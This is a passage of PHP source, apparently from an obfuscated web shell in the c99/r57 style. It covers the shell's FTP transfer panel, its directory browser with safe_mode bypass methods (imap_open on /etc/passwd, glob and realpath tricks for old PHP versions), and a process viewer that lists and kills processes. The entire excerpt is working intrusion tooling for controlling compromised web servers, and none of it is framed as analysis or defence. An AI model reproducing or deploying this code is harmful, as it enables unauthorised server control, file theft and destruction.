9727 if (!@isset($ftp_password) || @empty($ftp_password))
9728 $ftp_password = "anonymous@ftp.com";
9729 if (!@isset($ftp_localfile) || @empty($ftp_localfile))
9730 $ftp_localfile = $d;
9731 if (!@isset($ftp_remotefile) || @empty($ftp_remotefile))
9732 $ftp_remotefile = "/ftp-dir/somefile.txt";
9733 if ($hideconnect) {
9734 if (@isset($lmkdir) && $lmkdir && @isset($ldir) && !@empty($ldir)) {
9735 @mkdir($d . $ldir);
9736 }
9737 if (@isset($fmkdir) && $fmkdir && @isset($fdir) && !@empty($fdir)) {
9738 $ftp->makeDir(z1a($ftp_current_dir) . $fdir);
9739 }
9740 $ltarr = array();
9741 $rtarr = array();
9742 if (@isset($action) && !@empty($action) && (@isset($ltall) || @isset($rtall))) {
9743 $ft = $action;
9744 if (@isset($rtall) || @strstr($rtall, "\n")) {
9745 $rtarr = @explode("\n", $rtall);
9746 } elseif (@isset($ltall) || @strstr($ltall, "\n")) {
9747 $ltarr = @explode("\n", $ltall);
9748 }
9749 }
9750 if (@isset($ft)) {
9751 switch ($ft) {
9752 case "delete":
9753 if (@isset($lt) && !@empty($lt) && z4q($lt)) {
9754 z8d($lt);
9755 } elseif (@isset($rt) && !@empty($rt)) {
9756 $ftp->deleteObject(z1a($ftp_current_dir) . $rt);
9757 } elseif (@count($ltarr) > 0) {
9758 foreach ($ltarr as $lto) {
9759 $lto = @trim($lto);
9760 if (!@empty($lto) && z4q($lto)) {
9761 z8d($lto);
9762 }
9763 }
9764 } elseif (@count($rtarr) > 0) {
9765 foreach ($rtarr as $rto) {
9766 $rto = @trim($rto);
9767 if (!@empty($rto)) {
9768 $ftp->deleteObject(z1a($ftp_current_dir) . $rto);
9769 }
9770 }
9771 }
9772 break;
9773 case "upload":
9774 if (@isset($lt) && !@empty($lt) && z4q($lt)) {
9775 $ftp->putObject($lt, z1a($ftp_current_dir));
9776 } elseif (@count($ltarr) > 0) {
9777 foreach ($ltarr as $lto) {
9778 $lto = @trim($lto);
9779 if (!@empty($lto) && z4q($lto)) {
9780 $ftp->putObject($lto, z1a($ftp_current_dir));
9781 }
9782 }
9783 }
9784 break;
9785 case "download":
9786 if (@isset($rt) && !@empty($rt)) {
9787 $ftp->getObject(z1a($ftp_current_dir) . $rt, $d);
9788 } elseif (@count($rtarr) > 0) {
9789 foreach ($rtarr as $rto) {
9790 $rto = @trim($rto);
9791 if (!@empty($rto)) {
9792 $ftp->getObject(z1a($ftp_current_dir) . $rto, $d);
9793 }
9794 }
9795 }
9796 break;
9797 default:
9798 break;
9799 }
9800 }
9801 $frml = z9s("194") . z9c() . z5c(array('act' => 'ftp', 'd', 'lmkdir' => '1'),
9802 z6i('ldir', '', '2') . z8v(z9s("195"), '7'));
9803 $frmf = z9s("194") . z9c() . z5c(array('act' => 'ftp', 'd', 'fmkdir' => '1'),
9804 z6i('fdir', '', '2') . z8v(z9s("195"), '7'));
9805 echo z2b(array(z10e(z7i(z7l(z9s("192")) . z7e($frml)), '2'), z10e(z7i(z7l(z9s("193") .
9806 z9c() . $hmsg) . z7e($frmf)), '2')), '4');
9807 $listf = $ftp->ftpRawList();
9808 $listl = z8k($d);
9809 $lsl = array();
9810 $lsl["d"] = array();
9811 $lsl["l"] = array();
9812 $lsl["f"] = array();
9813 $lsf = array();
9814 $lsf["d"] = array();
9815 $lsf["l"] = array();
9816 $lsf["f"] = array();
9817 if (@is_array($listl) && @count($listl) > 0) {
9818 foreach ($listl as $lf) {
9819 $fn = z2h($lf);
9820 if ($fn != '.' && $fn != '..') {
9821 if (z4j($lf)) {
9822 $lsl["d"][] = array($lf, 'DIR');
9823 } elseif (z3j($lf)) {
9824 $lsl["l"][] = array($lf, 'LINK');
9825 } else {
9826 $lsl["f"][] = array($lf, (@filesize($lf) !== false ? @filesize($lf) : 'FILE'));
9827 }
9828 }
9829 }
9830 }
9831 if (@is_array($listf) && @count($listf) > 0) {
9832 foreach ($listf as $rf) {
9833 if ($rf[1] != '.' && $rf[1] != '..') {
9834 if ($rf[0] == 'd') {
9835 $lsf["d"][] = array($rf[1], 'DIR');
9836 } elseif ($rf[0] == 'l') {
9837 $rfd = (@strstr($rf[1], ' -> ') ? @substr($rf[1], 0, @strpos($rf[1], ' -> ')) :
9838 $rf[1]);
9839 $lsf['l'][] = array($rfd, 'LINK');
9840 } else {
9841 $lsf['f'][] = array($rf[1], $rf[2]);
9842 }
9843 }
9844 }
9845 }
9846 if (!@isset($flsort)) {
9847 if (@isset($_SESSION['flsort'])) {
9848 $flsort = $_SESSION['flsort'];
9849 } else {
9850 $flsort = '0a';
9851 }
9852 }
9853 $_SESSION['flsort'] = $flsort;
9854 $pflsort = z5r($flsort);
9855 if ($pflsort[1] != 'a')
9856 $pflsort[1] = 'd';
9857 $v = $pflsort[0];
9858 @usort($lsl["d"], "z3i");
9859 @usort($lsl["l"], "z3i");
9860 @usort($lsl["f"], "z3i");
9861 if ($pflsort[1] == "d") {
9862 $lsl["d"] = @array_reverse($lsl["d"]);
9863 $lsl["l"] = @array_reverse($lsl["l"]);
9864 $lsl["f"] = @array_reverse($lsl["f"]);
9865 }
9866 if (!@isset($ffsort)) {
9867 if (@isset($_SESSION['ffsort'])) {
9868 $ffsort = $_SESSION['ffsort'];
9869 } else {
9870 $ffsort = '0a';
9871 }
9872 }
9873 $_SESSION['ffsort'] = $ffsort;
9874 $pffsort = z5r($ffsort);
9875 $ffsort = $pffsort[0] . $pffsort[1];
9876 if ($pffsort[1] != 'a')
9877 $pffsort[1] = 'd';
9878 $v = $pffsort[0];
9879 @usort($lsf["d"], "z3i");
9880 @usort($lsf["l"], "z3i");
9881 @usort($lsf["f"], "z3i");
9882 if ($pffsort[1] == "d") {
9883 $lsf["d"] = @array_reverse($lsf["d"]);
9884 $lsf["l"] = @array_reverse($lsf["l"]);
9885 $lsf["f"] = @array_reverse($lsf["f"]);
9886 }
9887 $list_l = array();
9888 $list_f = array();
9889 $list_l[] = array($d . '..', 'LINK');
9890 $list_f[] = array('..', 'LINK');
9891 foreach ($lsl["d"] as $lf)
9892 $list_l[] = $lf;
9893 foreach ($lsl["l"] as $lf)
9894 $list_l[] = $lf;
9895 foreach ($lsl["f"] as $lf)
9896 $list_l[] = $lf;
9897 foreach ($lsf["d"] as $rf)
9898 $list_f[] = $rf;
9899 foreach ($lsf["l"] as $rf)
9900 $list_f[] = $rf;
9901 foreach ($lsf["f"] as $rf)
9902 $list_f[] = $rf;
9903 $cl = @count($list_l);
9904 $cf = @count($list_f);
9905 echo z9m('2') . z6g() . z7k('', '4');
9906 z8j('l');
9907 echo z7g() . z7k('', '46');
9908 z8j('f');
9909 echo z7g() . z7u() . z10w();
9910 echo z9m('2') . z7p() . z7k('', '4') . z5x('', "1") . z9m('2');
9911 echo z7i(z7l(z5c(array('act', 'd', 'ffsort', 'flsort' => ($pflsort[0] == '0' ?
9912 '0' . ($pflsort[1] == "a" ? "d" : "a") : '0' . $pflsort[1])), z8v(z9s("57") . ($pflsort[0] ==
9913 '0' ? ' ' . ($pflsort[1] == "a" ? '↑' : '↓') : ''), '3')), '8', '2') .
9914 z7e(z5c(array('act', 'd', 'ffsort', 'flsort' => ($pflsort[0] == '1' ? '1' . ($pflsort[1] ==
9915 "a" ? "d" : "a") : '1' . $pflsort[1])), z8v(z9s("58") . ($pflsort[0] == '1' ?
9916 ' ' . ($pflsort[1] == "a" ? '↑' : '↓') : ''), '3')), '8', '') . z7l(z9s
9917 ("62"), '8', '3'));
9918 for ($i = 0; $i < $cl; $i++) {
9919 $disp = z2h($list_l[$i][0]);
9920 if ((!@is_numeric($list_l[$i][1]) && $list_l[$i][1] == 'DIR') || $disp == '..') {
9921 $o = z5c(array('act' => 'ftp', 'flsort', 'ffsort', 'd' => $list_l[$i][0]), z8n('small_dir',
9922 '', '9') . z8v(z8f($disp, 40), '10', z3c($disp, 'd')));
9923 } else {
9924 $ext = z2h($list_l[$i][0], '.');
9925 $o = z5c(array('act' => 'ftp', 'flsort', 'ffsort', 'd', 'ft' => 'upload', 'lt' =>
9926 $list_l[$i][0]), z8n($ext, '', '9') . z8v(z8f($disp, 40), '11', z3c($disp, 'f')));
9927 }
9928 echo z7i(z7l($o, '19', '2') . z7e((@is_numeric($list_l[$i][1]) ? z7c($list_l[$i][1]) :
9929 $list_l[$i][1]), '10') . z7l(($disp == '..' ? z0w($list_l[$i][0]) : z0t($list_l[$i][0]) .
9930 z4n($list_l[$i][0], 'idloc', ($i % 2 ? 'tra' : 'trb') . $jsid)), '10'), ($i % 2 ?
9931 '0' : '1'), ($i % 2 ? 'tra' : 'trb') . $jsid);
9932 $jsid++;
9933 }
9934 echo z10w() . z5j() . z7g() . z7k('', '46') . z5x('', "1") . z9m('2');
9935 echo z7i(z7l(z5c(array('act', 'd', 'flsort', 'ffsort' => ($pffsort[0] == '0' ?
9936 '0' . ($pffsort[1] == "a" ? "d" : "a") : '0' . $pffsort[1])), z8v(z9s("57") . ($pffsort[0] ==
9937 '0' ? ' ' . ($pffsort[1] == "a" ? '↑' : '↓') : ''), '3')), '8', '2') .
9938 z7e(z5c(array('act', 'd', 'flsort', 'ffsort' => ($pffsort[0] == '1' ? '1' . ($pffsort[1] ==
9939 "a" ? "d" : "a") : '1' . $pffsort[1])), z8v(z9s("58") . ($pffsort[0] == '1' ?
9940 ' ' . ($pffsort[1] == "a" ? '↑' : '↓') : ''), '3')), '8', '') . z7l(z9s
9941 ("62"), '8', '3'));
9942 for ($i = 0; $i < $cf; $i++) {
9943 $disp = z2h($list_f[$i][0]);
9944 if ((!@is_numeric($list_f[$i][1]) && $list_f[$i][1] == "DIR") || $disp == '..') {
9945 $o = z5c(array('act' => 'ftp', 'flsort', 'ffsort', 'd', 'rd' => $list_f[$i][0]),
9946 z8n('small_dir', '', '9') . z8v(z8f($disp, 40), '10', z3c($disp, 'd')));
9947 } else {
9948 $ext = z2h($list_f[$i][0], '.');
9949 $o = z5c(array('act' => 'ftp', 'flsort', 'ffsort', 'd', 'ft' => 'download', 'rt' =>
9950 $list_f[$i][0]), z8n($ext, '', '9') . z8v(z8f($disp, 40), '11', z3c($disp, 'f')));
9951 }
9952 echo z7i(z7l($o, '19', '2') . z7e((@is_numeric($list_f[$i][1]) ? z7c($list_f[$i][1]) :
9953 $list_f[$i][1]), '10') . z7l(($disp == '..' ? z0q($list_f[$i][0]) : z0r($list_f[$i][0]) .
9954 z4n($list_f[$i][0], 'idftp', ($i % 2 ? 'tra' : 'trb') . $jsid)), '10'), ($i % 2 ?
9955 '0' : '1'), ($i % 2 ? 'tra' : 'trb') . $jsid);
9956 $jsid++;
9957 }
9958 echo z10w() . z5j() . z7g() . z7u() . z10w();
9959 echo z9m('2') . z7p() . z7k('', '4') . z0p('idloc', 'ltall', z9b('act') . z9b('flsort') .
9960 z9b('ffsort') . z9b('d') . z9b('ftpmloc', '1'), array('' => z9s("66"), 'upload' =>
9961 z9s("197"), 'delete' => z9s("199"))) . z7g() . z7k('', '4') . z0p('idftp',
9962 'rtall', z9b('act') . z9b('flsort') . z9b('ffsort') . z9b('d') . z9b('ftpmrem',
9963 '1'), array('' => z9s("66"), 'download' => z9s("198"), 'delete' => z9s("199"))) .
9964 z7g() . z7u() . z10w();
9965 } else {
9966 echo z2b(z9s("185") . z9c() . ($hmsg != '' ? ' : ' . $hmsg : ''));
9967 echo z6d() . z10e(z7i(z5c(array("act" => "ftp", "d"), z6x(z8e(z9s("186")) . z6i
9968 ("ftp_server", $ftp_server, '5') . z6i("ftp_port", $ftp_port, '6')) . z6x(z8e(z9s
9969 ("187")) . z6i("ftp_username", $ftp_username, '5')) . z6x(z8e(z9s("188")) . z6i
9970 ("ftp_password", $ftp_password, '5') . z8v(z9s("189"), '7') . ' ' . z5y("ftp_passive1",
9971 z9s("190"), "ftp_passive")))), '2') . z6d();
9972 $dmsg = $umsg = '';
9973 if (!@empty($ftp_server) && !@empty($ftp_port) && !@empty($ftp_username) && !@
9974 empty($ftp_password) && @isset($ftp_quickaction)) {
9975 $ftp = new ftp($ftp_server, $ftp_port, $ftp_username, $ftp_password, $ftp_passive);
9976 if ($ftp->loggedOn) {
9977 if ($ftp_quickaction == "upload") {
9978 $umsg = ($ftp->put($ftp_remotefile, $ftp_localfile) ? z9s("208") : z9s("209"));
9979 } elseif ($ftp_quickaction == "download") {
9980 $dmsg = ($ftp->get($ftp_remotefile, $ftp_localfile, 1) ? z9s("210") : z9s("211"));
9981 }
9982 } else {
9983 if ($ftp_quickaction == "upload") {
9984 $umsg = z9s("191");
9985 } else {
9986 $dmsg = z9s("191");
9987 }
9988 }
9989 }
9990 echo z2b(array(z9s("200") . z9c() . ($dmsg != '' ? " : " . $dmsg : ''), z9s("201") .
9991 z9c() . ($umsg != '' ? " : " . $umsg : '')), '46');
9992 echo z10e(z9f(z9j(z5c(array('act' => 'ftp', 'ftp_quickaction' => 'download', 'd'),
9993 z10e(z5n() . z7i(z5t(z9s("202")) . z9j(z6i('ftp_server', $ftp_server, '2') . z6i
9994 ('ftp_port', $ftp_port, '6'))) . z7i(z5t(z9s("203")) . z9j(z6i('ftp_username', $ftp_username,
9995 '4') . z6i('ftp_password', $ftp_password, '5'))) . z7i(z5t(z9s("204")) . z9j(z6i
9996 ('ftp_remotefile', $ftp_remotefile, '0'))) . z7i(z5t(z9s("205")) . z9j(z6i('ftp_localfile',
9997 $ftp_localfile, '0'))) . z7i(z5t('') . z9j(z8v(z9s("207"), '7') . z5y("ftp_passive2",
9998 z9s("190"), "ftp_passive"))) . z5n())), '', '4') . z9j(z5c(array('act' => 'ftp',
9999 'ftp_quickaction' => 'upload', 'd'), z10e(z5n() . z7i(z5t(z9s("202")) . z9j(z6i
10000 ('ftp_server', $ftp_server, '2') . z6i('ftp_port', $ftp_port, '6'))) . z7i(z5t(z9s
10001 ("203")) . z9j(z6i('ftp_username', $ftp_username, '4') . z6i('ftp_password', $ftp_password,
10002 '5'))) . z7i(z5t(z9s("205")) . z9j(z6i('ftp_localfile', $ftp_localfile, '0'))) .
10003 z7i(z5t(z9s("204")) . z9j(z6i('ftp_remotefile', $ftp_remotefile, '0'))) . z7i(z5t
10004 ('') . z9j(z8v(z9s("206"), '7') . z5y("ftp_passive3", z9s("190"), "ftp_passive"))) .
10005 z5n())), '', '46')), '2');
10006 }
10007}
10008if ($act == 'ls') {
10009 if (!@isset($sort)) {
10010 if (@isset($_SESSION['sort'])) {
10011 $sort = $_SESSION['sort'];
10012 } else {
10013 $sort = z7x('3', 'default_sort');
10014 }
10015 }
10016 $_SESSION['sort'] = $sort;
10017 if (!@isset($ftarget))
10018 $ftarget = '';
10019 if (!@isset($fullpath))
10020 $fullpath = 0;
10021 if (!@isset($with_ls))
10022 $with_ls = 0;
10023 if (@isset($ls_a) && @count($ls_a) > 0) {
10024 $list = $ls_a;
10025 } else {
10026 $list = z8k($d);
10027 $showbuf = 0;
10028 }
10029 $ugstat = 0;
10030 $jsid = 0;
10031 if (z7r('posix_getpwuid') && z7r('posix_getgrgid') && z7r('fileowner') && z7r('filegroup'))
10032 $ugstat = 1;
10033 if (!@isset($nolsmenu) || !$nolsmenu) {
10034 z2z();
10035 if (z0n($d))
10036 z4t();
10037 }
10038 z5p();
10039 if (@count($list) > 0) {
10040 $obj = array();
10041 $inf = array();
10042 $obj["h"] = array();
10043 $obj["d"] = array();
10044 $obj["l"] = array();
10045 $obj["f"] = array();
10046 foreach ($list as $v) {
10047 $o = z2h($v);
10048 $t = 'f';
10049 $t2 = 'd';
10050 if (($o == ".") || ($o == "..")) {
10051 $t = 'd';
10052 } elseif (@z4j($v)) {
10053 $t = 'd';
10054 if (z3j($v)) {
10055 $t2 = 'l';
10056 }
10057 } elseif (@z3j($v)) {
10058 $t = 'l';
10059 }
10060 if ($t == 'f') {
10061 if (z5o($v))
10062 $t = 'e';
10063 } elseif ($t == 'l') {
10064 if (z5o($v))
10065 $t2 = 'e';
10066 }
10067 if (@isset($filter) && !z1e($v, $filter, $t))
10068 continue;
10069 if ($with_ls) {
10070 $inf[$v] = z4d($v, $t);
10071 } else {
10072 $fileperms = @fileperms($v);
10073 if (!$fileperms && $nix && $sh_exec) {
10074 $inf[$v] = z4d($v, $t);
10075 }
10076 }
10077 $row = array();
10078 if ($o == ".") {
10079 $row[] = $d . $o;
10080 $row[] = "LINK";
10081 } elseif ($o == "..") {
10082 $row[] = $d . $o;
10083 $row[] = "LINK";
10084 } elseif ($t == 'd') {
10085 $row[] = $v;
10086 $row[] = (($t2 == 'l') ? "LINK" : "DIR");
10087 } elseif ($t == 'f' || $t == 'e' || $t == 'l') {
10088 $row[] = $v;
10089 $row[] = (@isset($inf[$v]) ? $inf[$v][1] : @filesize($v));
10090 }
10091 $row[] = (@isset($inf[$v]) ? $inf[$v][2] : @filemtime($v));
10092 if ($nix) {
10093 if (@isset($inf[$v])) {
10094 $row[] = $inf[$v][3];
10095 } else {
10096 if ($ugstat) {
10097 $ow = @posix_getpwuid(@fileowner($v));
10098 $gr = @posix_getgrgid(@filegroup($v));
10099 $row[] = array(($ow["name"] ? $ow["name"] : @fileowner($v)), ($gr["name"] ? $gr["name"] :
10100 @filegroup($v)));
10101 } else {
10102 $row[] = array('unk', 'unk');
10103 }
10104 }
10105 }
10106 $row[] = (@isset($inf[$v]) ? $inf[$v][4] : $fileperms);
10107 $row[] = $t;
10108 $row[] = $t2;
10109 if (($o == ".") || ($o == "..")) {
10110 if ($o == '..')
10111 $obj["h"][] = $row;
10112 } elseif ($t == 'l') {
10113 $obj["l"][] = $row;
10114 } elseif ($t == 'd') {
10115 $obj["d"][] = $row;
10116 } elseif ($t == 'f' || $t == 'e') {
10117 $obj["f"][] = $row;
10118 }
10119 }
10120 $row = array();
10121 $row[] = z9s("57");
10122 $row[] = z9s("58");
10123 $row[] = z9s("59");
10124 if (!$win) {
10125 $row[] = z9s("60");
10126 }
10127 $row[] = z9s("61");
10128 $row[] = z9s("62");
10129 $psort = z5r($sort);
10130 if ($psort[1] != 'a') {
10131 $psort[1] = 'd';
10132 } else {
10133 $psort[1] = 'a';
10134 }
10135 if (!@isset($nohead) || !$nohead) {
10136 for ($i = 0; $i < @count($row) - 1; $i++) {
10137 $row[$i] = z5c(array('act', 'd', 'filter', 'sort' => ($i == $psort[0] ? $i . ($psort[1] ==
10138 "a" ? "d" : "a") : $i . $psort[1])), z8v($row[$i] . ($i == $psort[0] ? ' ' . ($psort[1] ==
10139 "a" ? '↑' : '↓') : ''), '3', ($i == "1" ?
10140 ' style="text-align: right;"' : '')));
10141 }
10142 }
10143 $v = $psort[0];
10144 @usort($obj["d"], "z3i");
10145 @usort($obj["l"], "z3i");
10146 @usort($obj["f"], "z3i");
10147 if ($psort[1] == "d") {
10148 $obj["d"] = @array_reverse($obj["d"]);
10149 $obj["l"] = @array_reverse($obj["l"]);
10150 $obj["f"] = @array_reverse($obj["f"]);
10151 }
10152 $obj = @array_merge($obj["h"], $obj["d"], $obj["l"], $obj["f"]);
10153 $tab = array();
10154 $tab["c"] = array($row);
10155 $tab["h"] = array();
10156 $tab["d"] = array();
10157 $tab["l"] = array();
10158 $tab["f"] = array();
10159 $i = 0;
10160 foreach ($obj as $a) {
10161 if (@is_array($a) && @count($a) >= 6) {
10162 $v = $a[0];
10163 $t = $a[(@count($a) - 2)];
10164 $t2 = $a[(@count($a) - 1)];
10165 $o = z2h($v);
10166 $dir = z3p($v);
10167 if ($fullpath) {
10168 if (@substr($v, 0, @strlen($d)) == $d) {
10169 $disp = @substr($v, @strlen($d));
10170 } else {
10171 $disp = $v;
10172 }
10173 } else {
10174 $disp = $o;
10175 }
10176 $disp = z8f($disp, 60);
10177 $row = array();
10178 if ($o == ".") {
10179 $row[] = z5c(array('act' => 'ls', 'd' => $v), z8n('small_dir', '', '9') . z8v($disp,
10180 '10'), $ftarget);
10181 $row[] = "LINK";
10182 } elseif ($o == "..") {
10183 $row[] = z5c(array('act' => 'ls', 'd' => $v), z8n('small_dir', '', '9') . z8v($disp,
10184 '10'), $ftarget);
10185 $row[] = "LINK";
10186 } elseif ($t == 'd') {
10187 if ($t2 == 'l') {
10188 if (@readlink($v))
10189 $disp .= " => " . @readlink($v);
10190 $type = "LINK";
10191 $row[] = z5c(array('act' => 'ls', 'd' => $v), z8n('small_dir', '', '9') . z8v($disp,
10192 '10', z3c($o, 'd')), $ftarget);
10193 } else {
10194 $type = "DIR";
10195 $row[] = z5c(array('act' => 'ls', 'd' => $v), z8n('small_dir', '', '9') . z8v($disp,
10196 '10', z3c($o, 'd')), $ftarget);
10197 }
10198 $row[] = $type;
10199 } elseif ($t == 'f' || $t == 'e' || $t == 'l') {
10200 $ext = @strtolower(z2h($v, '.'));
10201 $row[] = z5c(array('act' => 'f', 'd' => $dir, 'f' => $o), z8n($ext, '', '9', (($t ==
10202 'e' || $t2 == 'e') ? '1' : '')) . z8v($disp, '11', z3c($o, 'f')), $ftarget);
10203 $row[] = (@isset($inf[$v]) ? $a[1] : z7c($a[1]));
10204 }
10205 $row[] = (@isset($inf[$v]) ? $a[2] : @date("Y.m.d H:i", $a[2]));
10206 if ($nix) {
10207 $row[] = $a[3][0] . "/" . $a[3][1];
10208 }
10209 $row[] = z6y((@isset($inf[$v]) ? $a[4] : z9r(@fileperms($v))), z6h($v));
10210 if ($t == 'd' && $o != '..') {
10211 $row[] = z0m($v, ($ftarget ? '1' : '')) . z4n($v, 'ls', 'replacejsid' . $jsid);
10212 $jsid++;
10213 } else {
10214 if ($o != '.' && $o != '..') {
10215 $row[] = z0h($v, $ftarget) . z4n($v, 'ls', 'replacejsid' . $jsid);
10216 $jsid++;
10217 } else {
10218 $row[] = z1y($v, $ftarget);
10219 }
10220 }
10221 if (($o == '.') || ($o == '..')) {
10222 if ($o == '..')
10223 $tab["h"][] = $row;
10224 } elseif ($t == 'l') {
10225 $tab["l"][] = $row;
10226 } elseif ($t == 'd') {
10227 $tab["d"][] = $row;
10228 } elseif ($t == 'f' || $t == 'e') {
10229 $tab["f"][] = $row;
10230 }
10231 $i++;
10232 }
10233 }
10234 $table = @array_merge($tab["c"], $tab["h"], $tab["d"], $tab["l"], $tab["f"]);
10235 $trid = 0;
10236 if (@count($table) > 0) {
10237 echo z9m('2') . z7p() . z7k('', '4') . z5x('', "2");
10238 echo z9m('2');
10239 $cnt = 0;
10240 foreach ($table as $row) {
10241 $r = '';
10242 $cnt2 = 0;
10243 foreach ($row as $v) {
10244 if ($cnt == 0) {
10245 $r .= (($cnt2 == 0) ? z9j($v, '7', "2") : (($cnt2 == 1) ? z7e($v, '8') : ($cnt2 ==
10246 (@count($row) - 1) ? z9j($v, '8', '3') : z9j($v, '8'))));
10247 } else {
10248 $r .= (($cnt2 == 0) ? z9j($v, '9') : (($cnt2 == 1) ? z7e($v, '10') : z9j($v,
10249 '10')));
10250 }
10251 $cnt2++;
10252 }
10253 $trids = '';
10254 if (@strpos($r, 'id="replacejsid') !== false) {
10255 $trids = "tr" . ($cnt % 2 ? 'a' : 'b');
10256 $r = @str_replace('id="replacejsid', 'id="' . $trids, $r);
10257 $trids .= $trid;
10258 $trid++;
10259 }
10260 echo z7i($r, ($cnt % 2 ? '0' : '1'), $trids);
10261 $cnt++;
10262 }
10263 echo z10w();
10264 echo z5j() . z7g() . z7u() . z10w();
10265 $arr_select = array('' => z9s("66"));
10266 if (@isset($use_buffer) && $use_buffer && (!@isset($nolsmenu) || !$nolsmenu)) {
10267 $arr_select["bcopy"] = z9s("67");
10268 $arr_select["bcut"] = z9s("68");
10269 $ucopy = $ucut = 0;
10270 if (@isset($bcopy) && @is_array($bcopy) && @count($bcopy) > 0) {
10271 $arr_select["bunsetcopy"] = z9s("69");
10272 $ucopy = 1;
10273 }
10274 if (@isset($bcut) && @is_array($bcut) && @count($bcut) > 0) {
10275 $arr_select["bunsetcut"] = z9s("70");
10276 $ucut = 1;
10277 }
10278 if ($ucopy && $ucut)
10279 $arr_select["bunsetall"] = z9s("71");
10280 }
10281 $arr_select["delete"] = z9s("72");
10282 echo z0p('ls', 'lsall', z9b('act') . z9b('d'), $arr_select);
10283 }
10284 } else {
10285 if (z7r('imap_open') && z7r('imap_list') && @version_compare(@phpversion(),
10286 "5.2.0") <= 0)
10287 $sls_arr["imap"] = "imap_list (safe_mode / PHP <= 5.1.2)";
10288 if (z7r('glob'))
10289 $sls_arr["glob"] = "glob (PHP <= 5.2.x + some others)";
10290 if (z7r('realpath'))
10291 $sls_arr["realpath"] = "realpath (PHP <= 5.2.4 + some others)";
10292 if (@isset($sls_arr["glob"]) && !@isset($submit1) && !@isset($listdir_func)) {
10293 $submit1 = 1;
10294 $listdir_func = "glob";
10295 } elseif (@isset($sls_arr["realpath"]) && !@isset($submit1) && !@isset($listdir_func)) {
10296 $submit1 = 1;
10297 $listdir_func = "realpath";
10298 }
10299 if (@count($sls_arr) > 0) {
10300 echo z2b(z9s("125"));
10301 echo z6d();
10302 echo z9m("2") . z6g() . z6w();
10303 echo z5w('', "1");
10304 if (@isset($submit1) && $submit1) {
10305 switch ($listdir_func) {
10306 case 'imap':
10307 $stream = @imap_open('/etc/passwd', "", "");
10308 $dir_list = @imap_list($stream, @trim($d), "*");
10309 for ($i = 0; $i < @count($dir_list); $i++)
10310 echo @htmlspecialchars($dir_list[$i]) . "\r\n";
10311 @imap_close($stream);
10312 break;
10313 case 'glob':
10314 z2c($d);
10315 break;
10316 case 'realpath':
10317 z3s($d);
10318 break;
10319 }
10320 }
10321 echo z5q();
10322 echo z7g() . z7u() . z10w();
10323 echo z10e(z7i(z6x(z5x("left", "3") . z5c(array("act", "submit1" => "1"), z10e(z7i
10324 (z9j(z8e(z9s("126")) . z5u("d", $d, "0", "", "9") . z4a("listdir_func", $sls_arr,
10325 "5", 1) . z8v(z9s("127"), "7"))), "2")) . z5j())), "2");
10326 echo z6d();
10327 } else {
10328 echo z2b(z9s("464", $d));
10329 }
10330 }
10331}
10332if ($act == 'processes') {
10333 if (!@isset($sortp))
10334 $sortp = ($nix ? '1a' : '0a');
10335 $header = '';
10336 if ($nix) {
10337 $h = 'ps -aux' . ((@isset($grep) && $grep) ? '|grep "' . $grep .
10338 '"|grep -v grep' : '');
10339 if (@isset($pid) && $pid) {
10340 if (!@isset($sig) || @is_null($sig)) {
10341 $sig = 9;
10342 }
10343 $header = " : " . z9s("349", array($sig, $pid)) . (@posix_kill($pid, $sig) ? z9s
10344 ("350") : z9s("351"));
10345 }
10346 } else {
10347 $h = 'tasklist';
10348 }
10349 $r = z9t($h);
10350 echo z2b(z9s("348") . $header, '1');
10351 if ($r) {
10352 $r = z3q(' ', ' ', $r);
10353 $ppsort = z5r($sortp);
10354 if ($ppsort[1] != 'a') {
10355 $ppsort[1] = 'd';
10356 } else {
10357 $ppsort[1] = 'a';
10358 }
10359 if ($nix) {
10360 $stack = @explode("\n", $r);
10361 $head = @explode(' ', $stack[0]);
10362 if (!@isset($grep) || !$grep) {
10363 unset($stack[0]);
10364 }
10365 for ($i = 0; $i < @count($head); $i++) {
10366 if ($i != $ppsort[0]) {
10367 $head[$i] = z5c(array('act', 'd', 'pfilter', 'sortp' => $i . $ppsort[1]), z8v($head[$i],
10368 '3'));
10369 } else {
10370 $head[$i] = z5c(array('act', 'd', 'pfilter', 'sortp' => $ppsort[0] . ($ppsort[1] ==
10371 'a' ? 'd' : 'a')), z8v($head[$ppsort[0]] . ' ' . ($ppsort[1] == 'a' ? '↑' :
10372 '↓'), '3'));
10373 }
10374 }
10375 $head[] = z9s("62");
10376 $prcs = array();
10377 if (!@isset($pfilter) || @empty($pfilter) || $pfilter == '---') {
10378 $bool = 0;
10379 $pfilter = '';
10380 } else {
10381 $bool = 1;
10382 }
10383 foreach ($stack as $line) {
10384 if (!@empty($line)) {
10385 $line = @explode(" ", $line);
10386 if (($bool && $pfilter == $line[0]) || !$bool) {
10387 $line[0] = z5c(array('act' => 'processes', 'd', 'sortp', 'pfilter' => (($bool &&
10388 $pfilter == $line[0]) ? '---' : $line[0])), z8v($line[0], '1', (($line[0] == $cuser) ?
10389 ' style="color:' . z9w("okcolor") . ';"' : '')));
10390 $line[10] = @join(" ", @array_slice($line, 10));
10391 $line = @array_slice($line, 0, 11);
10392 $line[] = z5c(array('act' => 'processes', 'd', 'sortp', 'pfilter', 'pid' => $line[1],
10393 'sig' => '9'), z8v(z9s("392"), "7"));
10394 $prcs[] = $line;
10395 }
10396 }
10397 }
10398 } else {
10399 $r = @convert_cyr_string($r, "d", "w");
10400 $stack = @explode("\n", $r);
10401 unset($stack[0], $stack[2]);
10402 $stack = @array_values($stack);
10403 $stack = @array_slice($stack, 1);
10404 $head[0] = "PROGRAM";
10405 $head[1] = "PID";
10406 if ($ppsort[0] >= @count($head)) {
10407 $ppsort[0] = @count($head) - 1;
10408 }
10409 for ($i = 0; $i < @count($head); $i++) {
10410 if ($i != $ppsort[0]) {
10411 $head[$i] = z5c(array('act', 'd', 'sortp' => $i . $ppsort[1]), z8v($head[$i],
10412 '3'));
10413 } else {
10414 $head[$i] = z5c(array('act', 'd', 'sortp' => $ppsort[0] . ($ppsort[1] == 'a' ?
10415 'd' : 'a')), z8v($head[$ppsort[0]] . ' ' . ($ppsort[1] == 'a' ? '↑' :
10416 '↓'), '3'));
10417 }
10418 }
10419 $prcs = array();
10420 foreach ($stack as $line) {
10421 if (!@empty($line)) {
10422 $ln = @explode(" ", $line);
10423 if (@count($ln) >= 2)
10424 $prcs[] = array($ln[0], $ln[1]);
10425 }
10426 }
10427 }
10428 $v = $ppsort[0];
10429 @usort($prcs, "z3i");
10430 if ($ppsort[1] == "d") {
10431 $prcs = @array_reverse($prcs);
10432 }
10433 $tab = array();
10434 if (!@isset($grep) || !$grep) {
10435 $tab[] = $head;
10436 }
